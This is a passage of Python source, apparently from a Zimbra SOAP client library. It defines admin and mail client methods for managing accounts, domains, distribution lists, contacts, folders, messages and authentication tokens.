\"\"\"\n NAMESPACE = 'urn:zimbraAdmin'\n LOCATION = 'service/admin/soap'\n REST_PREAUTH = AdminRESTClient\n\n def __init__(self, server_host, server_port='7071',\n *args, **kwargs):\n super(ZimbraAdminClient, self).__init__(\n server_host, server_port,\n *args, **kwargs)\n\n def get_quota_usage(self, domain=None, all_servers=None,\n limit=None, offset=None, sort_by=None,\n sort_ascending=None, refresh=None):\n content = {}\n if domain:\n content['domain'] = domain\n if all_servers:\n content['allServers'] = all_servers\n if limit:\n content['limit'] = limit\n if sort_by:\n content['sortBy'] = sort_by\n if sort_ascending:\n content['sortAscending'] = sort_ascending\n if refresh:\n content['refresh'] = refresh\n\n resp = self.request_list('GetQuotaUsage', content)\n\n return resp\n\n def get_all_config(self):\n resp = self.request_list('GetAllConfig')\n config = {}\n for attr in resp:\n # If there is multiple attributes with the same name\n if attr['n'] in config:\n if isinstance(config[attr['n']], str):\n config[attr['n']] = [config[attr['n']], attr['_content']]\n else:\n config[attr['n']].append(attr['_content'])\n else:\n config[attr['n']] = attr['_content']\n return config\n\n def get_config(self, attr):\n resp = self.request_list('GetConfig', {'a': {'n': attr}})\n if len(resp) > 1:\n config = {attr: []}\n for a in resp:\n config[attr].append(a['_content'])\n elif len(resp) == 1:\n config = {attr: resp[0]['_content']}\n else:\n raise KeyError('{} not found'.format(attr))\n return config\n\n def modify_config(self, attr, value):\n self.request('ModifyConfig', {\n 'a': {\n 'n': attr,\n '_content': value\n }})\n if attr[0] == '-' or attr[0] == '+':\n attr = attr[1::]\n return self.get_config(attr)\n\n def _get_or_fetch_id(self, zobj, fetch_func):\n \"\"\" Returns the ID of a Zobject wether it's already known or not\n\n If zobj.id is not known (frequent if zobj is a selector), fetches first\n the object and then returns its ID.\n\n :type zobj: a zobject subclass\n :type fetch_func: the function to fetch the zobj from server if its id\n is undefined.\n :returns: the object id\n \"\"\"\n\n try:\n return zobj.id\n except AttributeError:\n try:\n return fetch_func(zobj).id\n except AttributeError:\n raise ValueError('Unqualified Resource')\n\n def get_all_domains(self):\n resp = self.request_list('GetAllDomains')\n return [zobjects.Domain.from_dict(d) for d in resp]\n\n def get_all_accounts(self, domain=None, server=None,\n include_system_accounts=False,\n include_admin_accounts=True,\n include_virtual_accounts=True):\n selectors = {}\n if domain:\n selectors['domain'] = domain.to_selector()\n if server:\n selectors['server'] = server.to_selector()\n\n dict_accounts = self.request_list('GetAllAccounts', selectors)\n\n accounts = []\n for i in dict_accounts:\n account = zobjects.Account.from_dict(i)\n\n if not (\n not include_system_accounts and account.is_system() or\n not include_admin_accounts and account.is_admin() or\n not include_virtual_accounts and account.is_virtual()\n ):\n accounts.append(account)\n\n return accounts\n\n # Calendar resources\n\n def get_all_calendar_resources(self, domain=None, server=None,):\n selectors = {}\n if domain:\n selectors['domain'] = domain.to_selector()\n if server:\n selectors['server'] = server.to_selector()\n\n dict_calres = self.request_list('GetAllCalendarResources', selectors)\n\n resources = []\n for i in dict_calres:\n calres = zobjects.CalendarResource.from_dict(i)\n resources.append(calres)\n\n return resources\n\n def get_calendar_resource(self, cal_resource):\n \"\"\" Fetches an calendar resource with all its attributes.\n\n :param account: a CalendarResource, with either id or\n name attribute set.\n :returns: a CalendarResource object, filled.\n \"\"\"\n selector = cal_resource.to_selector()\n resp = self.request_single('GetCalendarResource',\n {'calresource': selector})\n return zobjects.CalendarResource.from_dict(resp)\n\n def create_calendar_resource(self, name, password=None, attrs={}):\n \"\"\"\n :param: attrs a dict of attributes, must specify the displayName and\n zimbraCalResType\n \"\"\"\n args = {\n 'name': name,\n 'a': [{'n': k, '_content': v} for k, v in attrs.items()]\n }\n if password:\n args['password'] = password\n resp = self.request_single('CreateCalendarResource', args)\n return zobjects.CalendarResource.from_dict(resp)\n\n def delete_calendar_resource(self, calresource):\n self.request('DeleteCalendarResource', {\n 'id': self._get_or_fetch_id(calresource,\n self.get_calendar_resource),\n })\n\n def modify_calendar_resource(self, calres, attrs):\n \"\"\"\n :param calres: a zobjects.CalendarResource\n :param attrs: a dictionary of attributes to set ({key:value,...})\n \"\"\"\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n self.request('ModifyCalendarResource', {\n 'id': self._get_or_fetch_id(\n calres, self.get_calendar_resource),\n 'a': attrs\n })\n\n def rename_calendar_resource(self, r_description, new_r_name):\n \"\"\"\n :param r_description : a CalendarResource specifying either :\n - id: the ressource ID\n - r_description: the name of the ressource\n :param new_r_name: new name of the list\n :return: a zobjects.CalendarResource\n \"\"\"\n resp = self.request('RenameCalendarResource', {\n 'id': self._get_or_fetch_id(r_description,\n self.get_calendar_resource),\n 'newName': new_r_name\n })\n\n return zobjects.CalendarResource.from_dict(resp['calresource'])\n\n # Mailbox stats\n\n def get_mailbox_stats(self):\n \"\"\" Get global stats about mailboxes\n\n Parses <stats numMboxes=\"6\" totalSize=\"141077\"/>\n\n :returns: dict with stats\n \"\"\"\n resp = self.request_single('GetMailboxStats')\n ret = {}\n for k, v in resp.items():\n ret[k] = int(v)\n\n return ret\n\n def count_account(self, domain):\n \"\"\" Count the number of accounts for a given domain, sorted by cos\n\n :returns: a list of pairs <ClassOfService object>,count\n \"\"\"\n selector = domain.to_selector()\n cos_list = self.request_list('CountAccount', {'domain': selector})\n ret = []\n\n for i in cos_list:\n count = int(i['_content'])\n ret.append((zobjects.ClassOfService.from_dict(i), count))\n\n return list(ret)\n\n def get_all_mailboxes(self):\n resp = self.request_list('GetAllMailboxes')\n\n return [zobjects.Mailbox.from_dict(i) for i in resp]\n\n def get_account_mailbox(self, account_id):\n \"\"\" Returns a Mailbox corresponding to an account. Usefull to get the\n size (attribute 's'), and the mailbox ID, returns nothing appart from\n that.\n \"\"\"\n selector = zobjects.Mailbox(id=account_id).to_selector()\n resp = self.request_single('GetMailbox', {'mbox': selector})\n\n return zobjects.Mailbox.from_dict(resp)\n\n def get_account_cos(self, account):\n \"\"\" Fetch the cos for a given account\n\n Quite different from the original request which returns COS + various\n URL + COS + zimbraMailHost... But all other informations are accessible\n through get_account.\n\n :type account: zobjects.Account\n :rtype: zobjects.COS\n \"\"\"\n resp = self.request(\n 'GetAccountInfo', {'account': account.to_selector()})\n return zobjects.COS.from_dict(resp['cos'])\n\n def create_domain(self, name):\n \"\"\"\n :param name: A string, NOT a zObject\n :return: a zobjects.Domain\n \"\"\"\n args = {'name': name}\n resp = self.request_single('CreateDomain', args)\n\n return zobjects.Domain.from_dict(resp)\n\n def delete_domain(self, domain):\n self.request('DeleteDomain', {\n 'id': self._get_or_fetch_id(domain, self.get_domain)\n })\n\n def delete_domain_forced(self, domain):\n # Remove aliases and accounts\n # we take all accounts because there might be an alias\n # for an account of an other domain\n accounts = self.get_all_accounts()\n for a in accounts:\n if 'zimbraMailAlias' in a._a_tags:\n aliases = a._a_tags['zimbraMailAlias']\n if isinstance(aliases, list):\n for alias in aliases:\n if alias.split('@')[1] == domain.name:\n self.remove_account_alias(a, alias)\n else:\n if aliases.split('@')[1] == domain.name:\n self.remove_account_alias(a, aliases)\n if a.name.split('@')[1] == domain.name:\n self.delete_account(a)\n\n # Remove resources\n resources = self.get_all_calendar_resources(domain=domain)\n for r in resources:\n self.delete_calendar_resource(r)\n\n # Remove distribution lists\n dls = self.get_all_distribution_lists(domain)\n for dl in dls:\n self.delete_distribution_list(dl)\n\n self.request('DeleteDomain', {\n 'id': self._get_or_fetch_id(domain, self.get_domain)\n })\n\n def get_domain(self, domain):\n selector = domain.to_selector()\n resp = self.request_single('GetDomain', {'domain': selector})\n return zobjects.Domain.from_dict(resp)\n\n def modify_domain(self, domain, attrs):\n \"\"\"\n :type domain: a zobjects.Domain\n :param attrs: attributes to modify\n :type attrs dict\n \"\"\"\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n self.request('ModifyDomain', {\n 'id': self._get_or_fetch_id(domain, self.get_domain),\n 'a': attrs\n })\n\n def add_distribution_list_alias(self, distribution_list, alias):\n \"\"\"\n :param distribution_list: a distribution list object to be used as\n a selector\n :param alias: email alias address\n :returns: None (the API itself returns nothing)\n \"\"\"\n self.request('AddDistributionListAlias', {\n 'id': self._get_or_fetch_id(\n distribution_list, self.get_distribution_list\n ),\n 'alias': alias,\n })\n\n def remove_distribution_list_alias(self, distribution_list, alias):\n \"\"\"\n :param distribution_list: an distribution list object to be used as\n a selector\n :param alias: email alias address\n :returns: None (the API itself returns nothing)\n \"\"\"\n self.request('RemoveDistributionListAlias', {\n 'id': self._get_or_fetch_id(\n distribution_list, self.get_distribution_list\n ),\n 'alias': alias,\n })\n\n def get_all_distribution_lists(self, domain=None):\n if domain:\n selectors = {'domain': domain.to_selector()}\n else:\n selectors = {}\n\n got = self.request_list('GetAllDistributionLists', selectors)\n return [zobjects.DistributionList.from_dict(i) for i in got]\n\n def get_distribution_list(self, dl_description):\n \"\"\"\n :param: dl_description : a DistributionList specifying either :\n - id: the account_id\n - name: the name of the list\n :returns: the DistributionList\n \"\"\"\n selector = dl_description.to_selector()\n\n resp = self.request_single('GetDistributionList', {'dl': selector})\n dl = zobjects.DistributionList.from_dict(resp)\n return dl\n\n def create_distribution_list(self, name, dynamic=0):\n \"\"\"\n\n :param name: A string, NOT a zObject\n :param dynamic:\n :return: a zobjects.DistributionList\n \"\"\"\n args = {'name': name, 'dynamic': str(dynamic)}\n resp = self.request_single('CreateDistributionList', args)\n\n return zobjects.DistributionList.from_dict(resp)\n\n def modify_distribution_list(self, dl_description, attrs):\n \"\"\"\n :param dl_description : a DistributionList specifying either :\n - id: the dl_list_id\n - dl_description: the name of the list\n :param attrs : a dictionary of attributes to set ({key:value,...})\n \"\"\"\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n self.request('ModifyDistributionList', {\n 'id': self._get_or_fetch_id(dl_description,\n self.get_distribution_list),\n 'a': attrs\n })\n\n def rename_distribution_list(self, dl_description, new_dl_name):\n \"\"\"\n :param dl_description : a DistributionList specifying either :\n - id: the dl_list_id\n - dl_description: the name of the list\n :param new_dl_name: new name of the list\n :return: a zobjects.DistributionList\n \"\"\"\n resp = self.request('RenameDistributionList', {\n 'id': self._get_or_fetch_id(dl_description,\n self.get_distribution_list),\n 'newName': new_dl_name\n })\n\n return zobjects.DistributionList.from_dict(resp['dl'])\n\n def delete_distribution_list(self, dl):\n self.request('DeleteDistributionList', {\n 'id': self._get_or_fetch_id(dl, self.get_distribution_list)\n })\n\n def add_distribution_list_member(self, distribution_list, members):\n \"\"\" Adds members to the distribution list\n\n :type distribution_list: zobjects.DistributionList\n :param members: list of email addresses you want to add\n :type members: list of str\n \"\"\"\n members = [{'_content': v} for v in members]\n resp = self.request_single('AddDistributionListMember', {\n 'id': self._get_or_fetch_id(distribution_list,\n self.get_distribution_list),\n 'dlm': members\n })\n return resp\n\n def remove_distribution_list_member(self, distribution_list, members):\n \"\"\" Removes members from the distribution list\n\n :type distribution_list: zobjects.DistributionList\n :param members: list of email addresses you want to remove\n :type members: list of str\n \"\"\"\n members = [{'_content': v} for v in members]\n resp = self.request_single('RemoveDistributionListMember', {\n 'id': self._get_or_fetch_id(distribution_list,\n self.get_distribution_list),\n 'dlm': members\n })\n return resp\n\n def get_account(self, account):\n \"\"\" Fetches an account with all its attributes.\n\n :param account: an account object, with either id or name attribute set\n :returns: a zobjects.Account object, filled.\n \"\"\"\n selector = account.to_selector()\n resp = self.request_single('GetAccount', {'account': selector})\n return zobjects.Account.from_dict(resp)\n\n def rename_account(self, account, new_name):\n \"\"\" Rename an account.\n\n :param account: a zobjects.Account\n :param new_name: a string of new account name\n \"\"\"\n self.request('RenameAccount', {\n 'id': self._get_or_fetch_id(account, self.get_account),\n 'newName': new_name\n })\n\n def modify_account(self, account, attrs):\n \"\"\"\n :param account: a zobjects.Account\n :param attrs : a dictionary of attributes to set ({key:value,...})\n \"\"\"\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n self.request('ModifyAccount', {\n 'id': self._get_or_fetch_id(account, self.get_account),\n 'a': attrs\n })\n\n def set_password(self, account, password):\n \"\"\"\n :param account: a zobjects.Account\n :param password: <PASSWORD>\n \"\"\"\n self.request('SetPassword', {\n 'id': account.id,\n 'newPassword': password\n })\n\n def create_account(self, email, password=<PASSWORD>, attrs={}):\n \"\"\"\n :param email: Full email with domain eg: <EMAIL>\n :param password: <PASSWORD>\n :param attrs: a dictionary of attributes to set ({key:value,...})\n :returns: the created zobjects.Account\n \"\"\"\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n\n params = {'name': email, 'a': attrs}\n\n if password:\n params['password'] = password\n\n resp = self.request_single('CreateAccount', params)\n\n return zobjects.Account.from_dict(resp)\n\n def delete_account(self, account):\n \"\"\"\n :param account: an account object to be used as a selector\n \"\"\"\n self.request('DeleteAccount', {\n 'id': self._get_or_fetch_id(account, self.get_account),\n })\n\n def add_account_alias(self, account, alias):\n \"\"\"\n :param account: an account object to be used as a selector\n :param alias: email alias address\n :returns: None (the API itself returns nothing)\n \"\"\"\n self.request('AddAccountAlias', {\n 'id': self._get_or_fetch_id(account, self.get_account),\n 'alias': alias,\n })\n\n def remove_account_alias(self, account, alias):\n \"\"\"\n :param account: an account object to be used as a selector\n :param alias: email alias address\n :returns: None (the API itself returns nothing)\n \"\"\"\n self.request('RemoveAccountAlias', {\n 'id': self._get_or_fetch_id(account, self.get_account),\n 'alias': alias,\n })\n\n def mk_auth_token(self, account, admin=False, duration=0):\n \"\"\" Builds an authentification token, using preauth mechanism.\n\n See http://wiki.zimbra.com/wiki/Preauth\n\n :param duration: in seconds defaults to 0, which means \"use account\n default\"\n\n :param account: an account object to be used as a selector\n :returns: the auth string\n \"\"\"\n domain = account.get_domain()\n try:\n preauth_key = self.get_domain(domain)['zimbraPreAuthKey']\n except KeyError:\n raise DomainHasNoPreAuthKey(domain)\n timestamp = int(time.time())*1000\n expires = duration*1000\n return utils.build_preauth_str(preauth_key, account.name, timestamp,\n expires, admin)\n\n def delegate_auth(self, account):\n \"\"\" Uses the DelegateAuthRequest to provide a ZimbraAccountClient\n already logged with the provided account.\n\n It's the mechanism used with the \"view email\" button in admin console.\n \"\"\"\n warnings.warn(\"delegate_auth() on parent client is deprecated,\"\n \" use delegated_login() on child client instead\",\n DeprecationWarning)\n selector = account.to_selector()\n resp = self.request('DelegateAuth', {'account': selector})\n\n lifetime = resp['lifetime']\n authToken = resp['authToken']\n\n zc = ZimbraAccountClient(self._server_host)\n zc.login_with_authToken(authToken, lifetime)\n return zc\n\n def get_account_authToken(self, account=None, account_name=''):\n \"\"\" Use the DelegateAuthRequest to provide a token and his lifetime\n for the provided account.\n\n If account is provided we use it,\n else we retreive the account from the provided account_name.\n \"\"\"\n if account is None:\n account = self.get_account(zobjects.Account(name=account_name))\n selector = account.to_selector()\n\n resp = self.request('DelegateAuth', {'account': selector})\n\n authToken = resp['authToken']\n lifetime = int(resp['lifetime'])\n\n return authToken, lifetime\n\n def delegated_login(self, *args, **kwargs):\n raise NotImplementedError(\n 'zimbraAdmin do not support to get logged-in by delegated auth')\n\n def search_directory(self, **kwargs):\n \"\"\"\n SearchAccount is deprecated, using SearchDirectory\n\n :param query: Query string - should be an LDAP-style filter\n string (RFC 2254)\n :param limit: The maximum number of accounts to return\n (0 is default and means all)\n :param offset: The starting offset (0, 25, etc)\n :param domain: The domain name to limit the search to\n :param applyCos: applyCos - Flag whether or not to apply the COS\n policy to account. Specify 0 (false) if only requesting attrs that\n aren't inherited from COS\n :param applyConfig: whether or not to apply the global config attrs to\n account. specify 0 (false) if only requesting attrs that aren't\n inherited from global config\n :param sortBy: Name of attribute to sort on. Default is the account\n name.\n :param types: Comma-separated list of types to return. Legal values\n are: accounts|distributionlists|aliases|resources|domains|coses\n (default is accounts)\n :param sortAscending: Whether to sort in ascending order. Default is\n 1 (true)\n :param countOnly: Whether response should be count only. Default is\n 0 (false)\n :param attrs: Comma-seperated list of attrs to return (\"displayName\",\n \"zimbraId\", \"zimbraAccountStatus\")\n :return: dict of list of \"account\" \"alias\" \"dl\" \"calresource\" \"domain\"\n \"cos\"\n \"\"\"\n\n search_response = self.request('SearchDirectory', kwargs)\n\n result = {}\n items = {\n \"account\": zobjects.Account.from_dict,\n \"domain\": zobjects.Domain.from_dict,\n \"dl\": zobjects.DistributionList.from_dict,\n \"cos\": zobjects.COS.from_dict,\n \"calresource\": zobjects.CalendarResource.from_dict\n # \"alias\": TODO,\n }\n\n for obj_type, func in items.items():\n if obj_type in search_response:\n if isinstance(search_response[obj_type], list):\n result[obj_type] = [\n func(v) for v in search_response[obj_type]]\n else:\n result[obj_type] = func(search_response[obj_type])\n return result\n\n\nclass ZimbraMailClient(ZimbraAbstractClient):\n \"\"\" Specialized Soap client to access zimbraMail webservice.\n\n API ref is\n http://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/zimbraMail/service-summary.html\n \"\"\"\n NAMESPACE = 'urn:zimbraMail'\n LOCATION = 'service/soap'\n REST_PREAUTH = MailRESTClient\n\n def __init__(self, server_host, server_port='443', *args, **kwargs):\n super(ZimbraMailClient, self).__init__(\n server_host, server_port,\n *args, **kwargs)\n\n def _return_comma_list(self, l):\n \"\"\" get a list and return a string with comma separated list values\n Examples ['to', 'ta'] will return 'to,ta'.\n \"\"\"\n if isinstance(l, (text_type, int)):\n return l\n\n if not isinstance(l, list):\n raise TypeError(l, ' should be a list of integers, \\\nnot {0}'.format(type(l)))\n\n str_ids = ','.join(str(i) for i in l)\n\n return str_ids\n\n def is_session_valid(self):\n # zimbraMail do not have by itself an Auth request, so create a\n # zimbraAccount client for that check.\n zac = ZimbraAccountClient(self._server_host, self._server_port)\n zac._session.import_session(self._session.authToken)\n return zac.is_session_valid()\n\n def login(self, user, password):\n # !!! We need to authenticate with the 'urn:zimbraAccount' namespace\n self._session.login(user, password, 'urn:zimbraAccount')\n\n # Permissions\n def get_permissions(self, rights=[]):\n \"\"\"\n :param rights: list of rights. Possible values : 'sendAs',\n 'sendOnBehalfOf'\n :return: dict with key ace with a list of rights\n \"\"\"\n aces = []\n if rights:\n for right in rights:\n ace = self.request(\n 'GetPermission',\n {'ace': {\n 'right': {'_content': right}}})\n\n if 'ace' in ace.keys() and isinstance(ace, list):\n aces.extend(ace['ace'])\n elif 'ace' in ace.keys() and isinstance(ace, dict):\n aces.append(ace['ace'])\n return {'ace': aces}\n\n else:\n ace = self.request('GetPermission', {})\n if 'ace' in ace.keys() and isinstance(ace['ace'], list):\n return ace\n elif 'ace' in ace.keys() and isinstance(ace['ace'], dict):\n return ace\n else:\n return {'ace': []}\n\n def grant_permission(self, right, zid=None, grantee_name=None, gt='usr'):\n params = {'ace': {\n 'gt': gt,\n 'right': right\n }}\n\n if grantee_name:\n params['ace']['d'] = grantee_name\n elif zid:\n params['ace']['zid'] = zid\n else:\n raise TypeError('at least zid or grantee_name should be set')\n\n return self.request('GrantPermission', params)\n\n def revoke_permission(self, right, zid=None, grantee_name=None, gt='usr'):\n params = {'ace': {\n 'gt': gt,\n 'right': right\n }}\n\n if grantee_name:\n params['ace']['d'] = grantee_name\n elif zid:\n params['ace']['zid'] = zid\n else:\n raise TypeError('missing zid or grantee_name')\n\n self.request('RevokePermission', params)\n\n # Ranking action\n def reset_ranking(self):\n \"\"\"Reset the contact ranking table for the account\n \"\"\"\n self.request('RankingAction', {'action': {'op': 'reset'}})\n\n def delete_ranking(self, email):\n \"\"\"Delete a specific address in the auto-completion of the users\n\n :param email: the address to remove\n \"\"\"\n self.request('RankingAction', {'action': {'op': 'reset',\n 'email': email\n }})\n\n # Task\n\n def create_task(self, subject, desc):\n \"\"\"Create a task\n\n :param subject: the task's subject\n :param desc: the task's content in plain-text\n :returns: the task's id\n \"\"\"\n task = zobjects.Task()\n task_creator = task.to_creator(subject, desc)\n resp = self.request('CreateTask', task_creator)\n task_id = resp['calItemId']\n return task_id\n\n def get_task(self, task_id):\n \"\"\"Retrieve one task, discriminated by id.\n\n :param: task_id: the task id\n\n :returns: a zobjects.Task object ;\n if no task is matching, returns None.\n \"\"\"\n task = self.request_single('GetTask', {'id': task_id})\n\n if task:\n return zobjects.Task.from_dict(task)\n else:\n return None\n\n # Contact\n\n def create_contact(self, attrs, members=None, folder_id=None, tags=None):\n \"\"\"Create a contact\n\n Does not include VCARD nor group membership yet\n\n XML example :\n <cn l=\"7> ## ContactSpec\n <a n=\"lastName\">MARTIN</a>\n <a n=\"firstName\">Pierre</a>\n <a n=\"email\"><EMAIL></a>\n </cn>\n Which would be in zimsoap : attrs = { 'lastname': 'MARTIN',\n 'firstname': 'Pierre',\n 'email': '<EMAIL>' }\n folder_id = 7\n\n :param folder_id: a string of the ID's folder where to create\n contact. Default '7'\n :param tags: comma-separated list of tag names\n :param attrs: a dictionary of attributes to set ({key:value,...}). At\n least one attr is required\n :returns: the created zobjects.Contact\n \"\"\"\n cn = {}\n if folder_id:\n cn['l'] = str(folder_id)\n if tags:\n tags = self._return_comma_list(tags)\n cn['tn'] = tags\n if members:\n cn['m'] = members\n\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n cn['a'] = attrs\n resp = self.request_single('CreateContact', {'cn': cn})\n\n return zobjects.Contact.from_dict(resp)\n\n def get_contacts(self, ids=None, **kwargs):\n \"\"\" Get all contacts for the current user\n\n :param l: string of a folder id\n :param ids: An coma separated list of contact's ID to look for\n\n :returns: a list of zobjects.Contact\n \"\"\"\n params = {}\n if ids:\n ids = self._return_comma_list(ids)\n params['cn'] = {'id': ids}\n\n for key, value in kwargs.items():\n if key in ['a', 'ma']:\n params[key] = {'n': value}\n else:\n params[key] = value\n\n contacts = self.request_list('GetContacts', params)\n\n return [zobjects.Contact.from_dict(i) for i in contacts]\n\n def modify_contact(self, contact_id, attrs=None, members=None, tags=None):\n \"\"\"\n :param contact_id: zimbra id of the targetd contact\n :param attrs : a dictionary of attributes to set ({key:value,...})\n :param members: list of dict representing contacts and\n operation (+|-|reset)\n :param tags: comma-separated list of tag names\n :returns: the modified zobjects.Contact\n \"\"\"\n cn = {}\n if tags:\n tags = self._return_comma_list(tags)\n cn['tn'] = tags\n if members:\n cn['m'] = members\n if attrs:\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n cn['a'] = attrs\n\n cn['id'] = contact_id\n resp = self.request_single('ModifyContact', {'cn': cn})\n\n return zobjects.Contact.from_dict(resp)\n\n def delete_contacts(self, ids):\n \"\"\" Delete selected contacts for the current user\n\n :param ids: list of ids\n \"\"\"\n\n str_ids = self._return_comma_list(ids)\n self.request('ContactAction', {'action': {'op': 'delete',\n 'id': str_ids}})\n\n def create_group(self, attrs, members, folder_id=None, tags=None):\n \"\"\"Create a contact group\n\n XML example :\n <cn l=\"7> ## ContactSpec\n <a n=\"lastName\">MARTIN</a>\n <a n=\"firstName\">Pierre</a>\n <a n=\"email\"><EMAIL></a>\n </cn>\n Which would be in zimsoap : attrs = { 'lastname': 'MARTIN',\n 'firstname': 'Pierre',\n 'email': '<EMAIL>' }\n folder_id = 7\n\n :param folder_id: a string of the ID's folder where to create\n contact. Default '7'\n :param tags: comma-separated list of tag names\n :param members: list of dict. Members with their type. Example\n {'type': 'I', 'value': '<EMAIL>'}.\n :param attrs: a dictionary of attributes to set ({key:value,...}). At\n least one attr is required\n :returns: the created zobjects.Contact\n \"\"\"\n cn = {}\n cn['m'] = members\n\n if folder_id:\n cn['l'] = str(folder_id)\n if tags:\n cn['tn'] = tags\n\n attrs = [{'n': k, '_content': v} for k, v in attrs.items()]\n attrs.append({'n': 'type', '_content': 'group'})\n cn['a'] = attrs\n resp = self.request_single('CreateContact', {'cn': cn})\n\n return zobjects.Contact.from_dict(resp)\n\n # Folder\n\n def create_folder(self, name, parent_id='1'):\n params = {'folder': {\n 'name': name,\n 'l': parent_id\n }}\n\n return self.request('CreateFolder', params)['folder']\n\n def create_mountpoint(self, **kwargs):\n \"\"\" Create mountpoint according to attributes definied in soap\n documentation.\n \"\"\"\n\n params = {'link': kwargs}\n\n return self.request('CreateMountpoint', params)['link']\n\n def delete_folders(self, paths=None, folder_ids=None, f_type='folder'):\n \"\"\"\n :param folder_ids: list of ids\n :param path: list of folder's paths\n \"\"\"\n if folder_ids:\n f_ids = folder_ids\n elif paths:\n f_ids = []\n for path in paths:\n folder = self.get_folder(path=path)\n f_ids.append(folder[f_type]['id'])\n\n comma_ids = self._return_comma_list(f_ids)\n\n params = {'action': {\n 'id': comma_ids,\n 'op': 'delete'\n }}\n\n self.request('FolderAction', params)\n\n def delete_mountpoints(self, paths=None, folder_ids=None):\n \"\"\"\n :param folder_ids: list of ids\n :param path: list of folder's paths\n \"\"\"\n self.delete_folders(paths=paths, folder_ids=folder_ids, f_type='link')\n\n def get_mountpoint(self, mp_id=None, path=None, uuid=None):\n return self.get_folder(f_id=mp_id, path=path, uuid=uuid)\n\n def get_folder(self, f_id=None, path=None, uuid=None):\n request = {'folder': {}}\n if f_id:\n request['folder']['l'] = str(f_id)\n if uuid:\n request['folder']['uuid'] = str(uuid)\n if path:\n request['folder']['path'] = str(path)\n\n return self.request('GetFolder', request)\n\n def get_folder_grant(self, **kwargs):\n folder = self.get_folder(**kwargs)\n if 'acl' in folder['folder']:\n return folder['folder']['acl']\n else:\n return None\n\n def modify_folder_grant(\n self,\n folder_ids,\n perm,\n zid=None,\n grantee_name=None,\n gt='usr',\n flags=None\n ):\n \"\"\"\n :param folder_ids: list of ids\n :param perm: permission to grant to the user on folder(s)\n :param zid: id of user to grant rights\n :param grantee_name: email address of user to grant rights\n :param flags: folder's flags\n \"\"\"\n f_ids = self._return_comma_list(folder_ids)\n\n params = {'action': {\n 'id': f_ids,\n 'op': 'grant',\n 'grant': {'perm': perm, 'gt': gt}\n }}\n\n if perm == 'none':\n params['action']['op'] = '!grant'\n params['action']['zid'] = zid\n # Remove key to raise Zimsoap exception if no zid provided\n if not zid:\n params['action'].pop('zid', None)\n\n if grantee_name:\n params['action']['grant']['d'] = grantee_name\n elif zid:\n params['action']['grant']['zid'] = zid\n else:\n raise TypeError('missing zid or grantee_name')\n\n self.request('FolderAction', params)\n\n def modify_folders(\n self, folder_ids, color=None, flags=None, parent_folder=None,\n name=None, num_days=None, rgb=None, tags=None, view=None\n ):\n \"\"\"\n :param folder_ids: list of ids\n :param color: color numeric; range 0-127; defaults to 0 if not present;\n client can display only 0-7\n :param flags: flags\n :param parent_folder: id of new location folder\n :param name: new name for the folder\n :param tags: list of tag names\n :param view: list of tag view\n \"\"\"\n f_ids = self._return_comma_list(folder_ids)\n\n params = {'action': {\n 'id': f_ids,\n 'op': 'update',\n }}\n\n if color:\n params['action']['color'] = color\n if flags:\n params['action']['f'] = flags\n if parent_folder:\n params['action']['l'] = parent_folder\n if name:\n params['action']['name'] = name\n if tags:\n tn = self._return_comma_list(tags)\n params['action']['tn'] = tn\n if view:\n params['action']['view'] = view\n\n self.request('FolderAction', params)\n\n # Conversation\n\n def get_conversation(self, conv_id, **kwargs):\n content = {'c': kwargs}\n content['c']['id'] = int(conv_id)\n\n return self.request('GetConv', content)\n\n def delete_conversations(self, ids):\n \"\"\" Delete selected conversations\n\n :params ids: list of ids\n \"\"\"\n\n str_ids = self._return_comma_list(ids)\n self.request('ConvAction', {'action': {'op': 'delete',\n 'id': str_ids\n }})\n\n def move_conversations(self, ids, folder):\n \"\"\" Move selected conversations to an other folder\n\n :params ids: list of ids\n :params folder: folder id\n \"\"\"\n\n str_ids = self._return_comma_list(ids)\n self.request('ConvAction', {'action': {'op': 'move',\n 'id': str_ids,\n 'l': str(folder)}})\n\n # Messages\n\n def add_message(self, msg_content, folder, **kwargs):\n \"\"\" Inject a message\n\n :params string msg_content: The entire message's content.\n :params string folder: Folder pathname (starts with '/') or folder ID\n \"\"\"\n content = {'m': kwargs}\n content['m']['l'] = str(folder)\n content['m']['content'] = {'_content': msg_content}\n\n return self.request('AddMsg', content)\n\n def get_message(self, msg_id, **kwargs):\n content = {'m': kwargs}\n content['m']['id'] = str(msg_id)\n\n return self.request('GetMsg', content)\n\n def move_messages(self, ids, folder_id):\n \"\"\" Move selected messages to an other folder\n\n :param msg_ids: list of message's ids to move\n :param folder_id: folder's id where to move messages\n \"\"\"\n str_ids = self._return_comma_list(ids)\n params = {'action': {\n 'id': str_ids,\n 'op': 'move',\n 'l': folder_id\n }}\n\n self.request('MsgAction', params)\n\n def update_messages_flag(self, ids, flag):\n \"\"\"\n List of flags :\n u -> unread f -> flagged\n a -> has attachment s -> sent by me\n r -> replied w -> forwarded\n d -> draft x -> deleted\n n -> notification sent\n\n by default a message priority is \"normal\" otherwise:\n ! -> priority high ? -> priority low\n \"\"\"\n str_ids = self._return_comma_list(ids)\n params = {'action': {\n 'id': str_ids,\n 'op': 'update',\n 'f': flag\n }}\n\n self.request('MsgAction', params)\n\n def delete_messages(self, ids):\n \"\"\" Delete selected messages for the current user\n\n :param ids: list of ids\n \"\"\"\n str_ids = self._return_comma_list(ids)\n return self.request('MsgAction', {'action': {'op': 'delete',\n 'id': str_ids}})\n\n # Search\n def search(self, query, **kwargs):\n \"\"\" Search object in account\n\n :returns: a dic where value c contains the list of results (if there\n is any). Example : {\n 'more': '0',\n 'offset': '0',\n 'sortBy': 'dateDesc',\n 'c': [\n {\n 'id': '-261',\n 'm': {'id': '261',\n 's': '2556',\n 'l': '2'},\n 'u': '0', 'd': '1450714720000',\n 'sf': '1450714720000',\n 'e': {'t': 'f',\n 'd': 'kokopu',\n 'a': '<EMAIL>'},\n 'n': '1',\n 'fr': {'_content': 'Hello there !'},\n 'su': {'_content': 'The subject is cool'}\n }\n ]\n \"\"\"\n\n content = kwargs\n content['query'] = {'_content': query}\n\n return self.request('Search', content)\n\n # DataSource\n\n def create_data_source(self, data_source, dest_folder):\n \"\"\" Create data source from a dict\n 